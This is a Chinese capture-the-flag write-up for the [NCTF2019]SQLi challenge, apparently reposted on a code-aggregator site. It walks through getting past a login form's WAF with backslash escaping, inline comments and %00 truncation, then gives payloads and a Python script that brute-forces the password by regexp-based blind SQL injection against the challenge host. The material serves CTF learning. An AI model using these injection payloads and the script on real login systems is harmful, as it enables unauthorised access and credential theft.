概述
首先可以看看什么是regexp。
打开题目,很明显的sql注入,甚至连sql注入语句是字符型都贴了出来,写的那么明目张胆,显然waf过滤的很变态:
嗯,fuzzing一下,果然基本会的都过滤了…,抱着试试的心态扫了下目录,发现robots.txt提示有hint.txt:
过滤那么多,不会做了…,看看wp1、wp2,wp3
- ;%00代替注释符/00截断
- 转义符“”没被过滤,可以转义符转义username处的单引号,我们提交的用户名就变成了 ’ and passwd=
select * from users where username='' and passwd='' #登录框处查询语句
username=&passwd=||(passwd/**/regexp/**/"^y");%00 #用户名输入,密码输入“或”符号加括号、内联绕waf,及结尾截断。
sqlquery : select * from users where username='' and passwd='||/**/passwd/**/regexp/**/"^y";
相等于select * from users where (passwd/**/regexp/**/"^y");
搜索是否有y开头的passwd,有就返回ture,没有就false.
- 直接盲注,注意在写python的时候传入%00不能直接传入,直接传会解码直接为空,用parse.unquote(’%00’)url解码
- regexp注入就类似于挨个比较吧,相等的时候返回true.
例如:搜索city表中name列开始位置含有连在一起的4位数字的所有信息
SELECT * FROM city WHERE name REGEXP '^[0-9]{4}';
输入值被url编码后记得改成%00,负载对的话会302跳转到welcome.php,
爆破后会发现y开头的就是正确的,别的回显都是错的:
exp:
import string
import requests
from urllib import parse
passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://9d01c3e8-2659-4ca6-9d2e-43bec0609db7.node4.buuoj.cn:81/index.php'
for n in range(100):
for m in string:
data = {
"username":"\",
"passwd":"||/**/passwd/**/regexp/**/"^{}";{}".format((passwd+m),parse.unquote('%00'))
}
res = requests.post(url,data=data)
if 'welcome' in res.text:
passwd += m
print(m)
break
if m=='_' and 'welcome' not in res.text:
break
print(passwd)
最后
以上就是坚定往事为你收集整理的[NCTF2019]SQLi——regexp注入的全部内容,希望文章能够帮你解决[NCTF2019]SQLi——regexp注入所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复